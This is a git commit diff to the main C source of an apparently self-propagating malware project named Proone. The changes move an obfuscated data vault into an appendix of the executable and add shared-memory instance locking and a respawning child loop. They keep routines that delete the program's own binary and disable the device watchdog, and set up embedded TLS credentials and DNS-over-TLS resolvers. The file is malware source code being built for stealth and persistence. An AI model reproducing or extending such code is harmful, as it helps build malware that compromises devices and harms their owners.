From 76d4d6b2bafada7b790e817b7324d53f3d3a0c7f Mon Sep 17 00:00:00 2001 From: David Timber Date: Thu, 20 Aug 2020 12:23:35 +0930 Subject: Progress ... * Move DVault out of executable. Dynamically load it on startup * Improved testing scheme * Tidy up prne_*assert* macro series * Protocol: store host credentials in base64 string. No mask * Use the lock shm as a shared_global so the stats can persist * mmap() the executable read-only for later use --- src/proone.c | 512 ++++++++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 368 insertions(+), 144 deletions(-) (limited to 'src/proone.c') diff --git a/src/proone.c b/src/proone.c index af77ba2..68b80cb 100644 --- a/src/proone.c +++ b/src/proone.c @@ -15,7 +15,9 @@ #include #include #include +#include +#include "config.h" #include "proone.h" #include "protocol.h" #include "util_rt.h" @@ -23,7 +25,6 @@ #include "llist.h" // #include "htbt-worker.h" #include "mbedtls.h" -#include "proone_conf/x509.h" struct prne_global prne_g; @@ -39,9 +40,53 @@ static void alloc_workers (void) { prne_init_worker(wkr_arr + i); } - prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd); - prne_assert(prne_g.resolv != NULL); - wkr_cnt += 1; + { + prne_resolv_ns_pool_t pool4, pool6; + + prne_resolv_init_ns_pool(&pool4); + prne_resolv_init_ns_pool(&pool6); + + do { + size_t i, len, cnt; + const uint8_t *bin; + + bin = prne_dvault_get_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, &len); + prne_dbgast(len != 0 && len % 16 == 0); + cnt = len * 16; + + if (!prne_resolv_alloc_ns_pool(&pool4, cnt)) { + break; + } + for (i = 0; i < cnt; i += 1) { + memcpy(pool4.arr[i].addr.addr, bin + i * 16, 16); + pool4.arr[i].addr.ver = PRNE_IPV_4; + pool4.arr[i].port = 853; + } + + bin = prne_dvault_get_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, &len); + prne_dbgast(len != 0 && len % 16 == 0); + cnt = len * 16; + + if (!prne_resolv_alloc_ns_pool(&pool6, cnt)) { + break; + } + for (i = 0; i < cnt; i += 1) { + memcpy(pool6.arr[i].addr.addr, bin + i * 16, 16); + pool6.arr[i].addr.ver = PRNE_IPV_6; + pool6.arr[i].port = 853; + } + + prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd, pool4, pool6); + if (prne_g.resolv != NULL) { + wkr_cnt += 1; + pool4.ownership = false; + pool6.ownership = false; + } + } while (false); + + prne_resolv_free_ns_pool(&pool4); + prne_resolv_free_ns_pool(&pool6); + } } static void free_workers (void) { @@ -106,26 +151,6 @@ static int proone_main (void) { return 0; } -static bool ensure_single_instance (void) { - prne_g.lock_shm_fd = shm_open( - prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT | O_CLOEXEC, - 0666); - prne_dvault_reset_dict(); - if (prne_g.lock_shm_fd < 0) { - return true; - } - - if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - - return false; - } - - return true; -} - static void delete_myself (const char *arg0) { #ifndef PRNE_DEBUG static const char *proc_path = "/proc/self/exe"; @@ -168,118 +193,309 @@ static void disasble_watchdog (void) { #endif } -static void read_host_credential (void) { - static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2; - char *buf = (char*)prne_malloc(1, buf_size); - size_t len; +static void set_env (void) { + // environment set up function calls in here +} - if (buf == NULL) { - return; - } +static void setup_dvault (void) { + prne_g.m_dvault = (uint8_t*)prne_malloc(1, prne_g.dvault_size); + memcpy(prne_g.m_dvault, prne_g.m_exec_dvault, prne_g.dvault_size); - if (fgets(buf, buf_size, stdin) == NULL) { - goto END; - } - len = prne_str_shift_spaces(buf, strlen(buf)); + prne_init_dvault(prne_g.m_dvault); +} - if (len > 0) { - prne_dec_base64_mem(buf, len, &prne_g.host_cred_data, &prne_g.host_cred_size); +static bool setup_binarch (const void *m) { + // TODO: Load bin arc + return false; +} + +static void init_proone (const char *self) { + int fd; +#if PRNE_HOST_WORDSIZE == 64 + static const unsigned char EXPTD_CLASS = 2; +#define ELF_EHDR_TYPE Elf64_Ehdr +#elif PRNE_HOST_WORDSIZE == 32 + static const unsigned char EXPTD_CLASS = 1; +#define ELF_EHDR_TYPE Elf32_Ehdr +#else + #error "FIXME!" +#endif +#if PRNE_HOST_ENDIAN == PRNE_ENDIAN_LITTLE + static const unsigned char EXPTD_DATA = 1; +#elif PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG + static const unsigned char EXPTD_DATA = 2; +#else + #error "FIXME!" +#endif + ELF_EHDR_TYPE *elf; + uint_fast32_t dvault_ofs, binarch_ofs, binarch_size; + off_t file_size; + + set_env(); + + fd = open(self, O_RDONLY); + prne_assert(fd >= 0); + file_size = lseek(fd, 0, SEEK_END); + prne_assert(file_size >= (off_t)sizeof(ELF_EHDR_TYPE)); + prne_g.m_exec = (const uint8_t*)mmap( + NULL, + file_size, + PROT_READ, + MAP_SHARED, + fd, + 0); + prne_close(fd); + prne_assert(prne_g.m_exec != MAP_FAILED); + + // Use header + elf = (ELF_EHDR_TYPE*)prne_g.m_exec; + prne_assert( + elf->e_ident[EI_MAG0] == ELFMAG0 && + elf->e_ident[EI_MAG1] == ELFMAG1 && + elf->e_ident[EI_MAG2] == ELFMAG2 && + elf->e_ident[EI_MAG3] == ELFMAG3); + prne_assert(elf->e_ident[EI_CLASS] == EXPTD_CLASS); + prne_assert(elf->e_ident[EI_DATA] == EXPTD_DATA); + + prne_g.exec_size = elf->e_shoff + (elf->e_shentsize * elf->e_shnum); + prne_g.exec_size = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT); + prne_massert( + prne_g.exec_size + 8 <= (size_t)file_size, + "No appendix!"); + + // Read sizes + prne_g.dvault_size = + (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 | + (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0; + binarch_size = + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 4] << 24 | + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 5] << 16 | + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 6] << 8 | + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 7] << 0; + + dvault_ofs = prne_salign_next( + prne_g.exec_size + 8, + PRNE_BIN_ALIGNMENT); + binarch_ofs = prne_salign_next( + dvault_ofs + prne_g.dvault_size, + PRNE_BIN_ALIGNMENT); + + // Load dvault + prne_assert(dvault_ofs + prne_g.dvault_size <= (size_t)file_size); + prne_g.m_exec_dvault = prne_g.m_exec + dvault_ofs; + setup_dvault(); + + if (binarch_size > 0) { + prne_assert(binarch_ofs + binarch_size <= (size_t)file_size); + setup_binarch(prne_g.m_exec + binarch_ofs); } + else { + prne_dbgpf("* This executable has no binary archive!\n"); + } +#undef ELF_EHDR_TYPE +} -END: - prne_free(buf); +static void deinit_proone (void) { + prne_deinit_dvault(); + prne_free(prne_g.m_dvault); + prne_g.m_dvault = NULL; } -static void setup_bin_archive (void) { - // TODO -#if 0 - prne_stdin_base64_rf_ctx_t rf_ctx; +static void load_ssl_conf (void) { +#define BREAKIF_ERR(f) if (mret != 0) {\ + prne_dbgpf("%s() returned %d\n", f, mret);\ + break;\ +} + size_t dvlen = 0; + int mret; + const uint8_t *data; - prne_init_stdin_base64_rf_ctx(&rf_ctx); - prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK; - prne_free_stdin_base64_rf_ctx(&rf_ctx); -#endif + do { + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_CA_CRT, &dvlen); + mret = mbedtls_x509_crt_parse(&prne_g.ssl.ca, data, dvlen); + BREAKIF_ERR("mbedtls_x509_crt_parse"); + + // Server stuff + mret = mbedtls_ssl_config_defaults( + &prne_g.s_ssl.conf, + MBEDTLS_SSL_IS_SERVER, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT); + BREAKIF_ERR("mbedtls_ssl_config_defaults"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_S_CRT, &dvlen); + mret = mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, data, dvlen); + BREAKIF_ERR("mbedtls_x509_crt_parse"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_S_KEY, &dvlen); + mret = mbedtls_pk_parse_key(&prne_g.s_ssl.pk, data, dvlen, NULL, 0); + BREAKIF_ERR("mbedtls_pk_parse_key"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_DH, &dvlen); + mret = mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, data, dvlen); + BREAKIF_ERR("mbedtls_dhm_parse_dhm"); + mret = mbedtls_ssl_conf_own_cert( + &prne_g.s_ssl.conf, + &prne_g.s_ssl.crt, + &prne_g.s_ssl.pk); + BREAKIF_ERR("mbedtls_ssl_conf_own_cert"); + mret = mbedtls_ssl_conf_dh_param_ctx( + &prne_g.s_ssl.conf, + &prne_g.s_ssl.dhm); + BREAKIF_ERR("mbedtls_ssl_conf_dh_param_ctx"); + prne_g.s_ssl.ready = true; + + // Client stuff + mret = mbedtls_ssl_config_defaults( + &prne_g.c_ssl.conf, + MBEDTLS_SSL_IS_SERVER, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT); + BREAKIF_ERR("mbedtls_ssl_config_defaults"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_C_CRT, &dvlen); + mret = mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, data, dvlen); + BREAKIF_ERR("mbedtls_x509_crt_parse"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_C_KEY, &dvlen); + mret = mbedtls_pk_parse_key(&prne_g.c_ssl.pk, data, dvlen, NULL, 0); + BREAKIF_ERR("mbedtls_pk_parse_key"); + mret = mbedtls_ssl_conf_own_cert( + &prne_g.c_ssl.conf, + &prne_g.c_ssl.crt, + &prne_g.c_ssl.pk); + BREAKIF_ERR("mbedtls_ssl_conf_own_cert"); + prne_g.c_ssl.ready = true; + } while (false); + prne_dvault_reset(); + + // set mutual auth + // ignore expired cert (system wall clock might not be set) + if (prne_g.s_ssl.ready) { + mbedtls_ssl_conf_ca_chain( + &prne_g.s_ssl.conf, + &prne_g.ssl.ca, NULL); + mbedtls_ssl_conf_authmode( + &prne_g.s_ssl.conf, + MBEDTLS_SSL_VERIFY_REQUIRED); + mbedtls_ssl_conf_verify( + &prne_g.s_ssl.conf, + prne_mbedtls_x509_crt_verify_cb, + NULL); + } + if (prne_g.c_ssl.ready) { + mbedtls_ssl_conf_ca_chain( + &prne_g.c_ssl.conf, + &prne_g.ssl.ca, + NULL); + mbedtls_ssl_conf_authmode( + &prne_g.c_ssl.conf, + MBEDTLS_SSL_VERIFY_REQUIRED); + mbedtls_ssl_conf_verify( + &prne_g.c_ssl.conf, + prne_mbedtls_x509_crt_verify_cb, + NULL); + } +#undef BREAKIF_ERR } -static void set_env (void) { - // environment set up function calls in here +static bool try_lock_file (const int fd) { + return flock(fd, LOCK_EX | LOCK_NB) == 0; } -static void load_ssl_conf (void) { - // Could save 1108 bytes if bundled and compressed - static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT; - static const uint8_t S_CRT[] = PRNE_X509_S_CRT; - static const uint8_t S_KEY[] = PRNE_X509_S_KEY; - static const uint8_t DH[] = PRNE_X509_DH; - static const uint8_t C_CRT[] = PRNE_X509_C_CRT; - static const uint8_t C_KEY[] = PRNE_X509_C_KEY; - - if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, CA_CRT, sizeof(CA_CRT)) == 0) { - prne_g.s_ssl.ready = - mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, S_CRT, sizeof(S_CRT)) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, DH, sizeof(DH)) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && - mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; - if (prne_g.s_ssl.ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); - // mutual auth - mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); - // ignore expired cert (system wall clock might not be set) - mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); - } +static bool format_shared_global (const int fd) { + uint8_t rev; - prne_g.c_ssl.ready = - mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, C_CRT, sizeof(C_CRT)) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, C_KEY, sizeof(C_KEY), NULL, 0) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; - if (prne_g.c_ssl.ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); - // mutual auth - mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); - // ignore expired cert (system wall clock might not be set) - mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); + if (read(fd, &rev, 1) != 1) { + return false; + } + + switch (rev) { + // Future format update code goes here + case 0: + if (lseek(fd, 0, SEEK_END) >= (off_t)sizeof(struct prne_shared_global)) { + return true; } + break; } + + return false; } -static void init_shared_global (void) { - // just die on error - static const size_t str_len = 1 + 30; +static bool init_shared_global (void) { int fd; - char name[str_len]; + const char *fname; + bool ret = true; /* TODO - * 1. Try anonymous mmap() - * 2. Try opening /dev/zero * 3. Try creating and opening /tmp/... * 4. Try creating and opening random file in current wd * 5. ... just don't use shared memory if all of these fail */ - name[0] = '/'; - name[str_len] = 0; - prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); - - fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); - if (fd < 0) { - abort(); - } - shm_unlink(name); - if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { - abort(); + fname = prne_dvault_get_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL); + do { + fd = shm_open(fname, O_RDWR, 0600); + if (fd >= 0) { + if (!try_lock_file(fd)) { + ret = false; + goto END; + } + if (format_shared_global(fd)) { + break; + } + else { + prne_close(fd); + fd = -1; + } + } + + fd = shm_open(fname, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (fd >= 0) { + struct prne_shared_global skel; + + if (!try_lock_file(fd)) { + ret = false; + goto END; + } + + memzero(&skel, sizeof(skel)); + // Future code for new shared_global format goes here + skel.rev = 0; + + if (write(fd, &skel, sizeof(skel)) != sizeof(skel)) { + goto END; + } + } + else { + goto END; + } + } while (false); + + prne_s_g = (struct prne_shared_global*)mmap( + NULL, + sizeof(struct prne_shared_global), + PROT_READ | PROT_WRITE, + MAP_SHARED, + fd, + 0); + if (prne_s_g == MAP_FAILED) { + prne_s_g = NULL; + prne_dbgperr("* Failed to initialise shared global"); } - prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); - if (prne_s_g == NULL) { - abort(); + else { + prne_s_g->ny_bin_name[0] = 0; } + +END: prne_close(fd); + prne_dvault_reset(); - prne_s_g->bne_cnt = 0; - prne_s_g->infect_cnt = 0; - prne_s_g->ny_bin_name[0] = 0; + return ret; +} + +static void deinit_shared_global (void) { + if (prne_s_g != NULL) { + munmap(prne_s_g, sizeof(struct prne_shared_global)); + prne_s_g = NULL; + } + prne_close(prne_g.shm_fd); + prne_g.shm_fd = -1; } static void init_ids (void) { @@ -309,12 +525,35 @@ static void init_ids (void) { prne_close(fd); } +static void set_host_credential (const char *str) { + if (prne_s_g == NULL) { + return; + } + + strncpy(prne_s_g->host_cred_data, str, sizeof(prne_s_g->host_cred_data) - 1); +} + static void run_ny_bin (void) { + sigset_t old_ss; + bool has_ss; + + // Clean the house for the new image. + // Free any resource that survives exec() call. + deinit_shared_global(); + has_ss = sigprocmask(SIG_UNBLOCK, &ss_all, &old_ss) == 0; + // TODO + + // exec() failed + // Restore previous condifion + if (has_ss) { + sigprocmask(SIG_BLOCK, &old_ss, NULL); + } + init_shared_global(); } -int main (const int argc, char **args) { +int main (const int argc, const char **args) { static int exit_code = 0; static bool loop = true; @@ -326,14 +565,11 @@ int main (const int argc, char **args) { sigaddset(&ss_all, SIGTERM); sigaddset(&ss_all, SIGCHLD); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC); - prne_g.run_cnt = 0; prne_g.resolv = NULL; prne_g.parent_pid = getpid(); prne_g.child_pid = 0; - prne_g.lock_shm_fd = -1; + prne_g.shm_fd = -1; prne_g.bin_ready = false; prne_g.is_child = false; prne_init_bin_archive(&prne_g.bin_archive); @@ -350,27 +586,25 @@ int main (const int argc, char **args) { mbedtls_pk_init(&prne_g.c_ssl.pk); prne_g.c_ssl.ready = false; - // inits that need no outside resources - prne_init_dvault(); - set_env(); + init_proone(args[0]); /* inits that need outside resources. IN THIS ORDER! */ load_ssl_conf(); seed_ssl_rnd(NULL, 0); init_ids(); - init_shared_global(); - delete_myself(args[0]); - disasble_watchdog(); - - if (!ensure_single_instance()) { - prne_dbgpf("*** ensure_single_instance() returned false."); + if (!init_shared_global()) { + prne_dbgpf("*** Another instance detected.\n"); exit_code = 1; goto END; } + delete_myself(args[0]); + disasble_watchdog(); + - setup_bin_archive(); // load data from stdin - read_host_credential(); + if (argc > 1) { + set_host_credential(args[1]); + } // done with the terminal prne_close(STDIN_FILENO); @@ -385,16 +619,12 @@ int main (const int argc, char **args) { while (loop) { prne_g.child_pid = fork(); - if (prne_g.child_pid >= 0) { - prne_g.run_cnt += 1; - } - if (prne_g.child_pid > 0) { static int status; static bool has_ny_bin; static int caught_signal = 0; - status = 0; // FIXME: libc bug? + status = 0; // TODO FIXME: libc bug? do { prne_assert(sigwait(&ss_all, &caught_signal) == 0); @@ -415,6 +645,10 @@ int main (const int argc, char **args) { has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0; + if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) { + prne_s_g->crash_cnt += 1; + } + if (WIFEXITED(status)) { prne_dbgpf("* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); if (WEXITSTATUS(status) == 0) { @@ -432,15 +666,15 @@ int main (const int argc, char **args) { } if (has_ny_bin) { - shm_unlink(prne_s_g->ny_bin_name); - memzero(prne_s_g->ny_bin_name, sizeof(prne_s_g->ny_bin_name)); + unlink(prne_s_g->ny_bin_name); + prne_s_g->ny_bin_name[0] = 0; } sleep(1); } else { - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; + prne_close(prne_g.shm_fd); + prne_g.shm_fd = -1; prne_g.is_child = true; prne_g.child_start = prne_gettime(CLOCK_MONOTONIC); @@ -467,18 +701,8 @@ END: mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); mbedtls_entropy_free(&prne_g.ssl.entpy); - prne_free(prne_g.host_cred_data); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; - - if (prne_g.lock_shm_fd >= 0) { - shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); - prne_dvault_reset_dict(); - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - } - - prne_deinit_dvault(); + deinit_shared_global(); + deinit_proone(); return exit_code; } -- cgit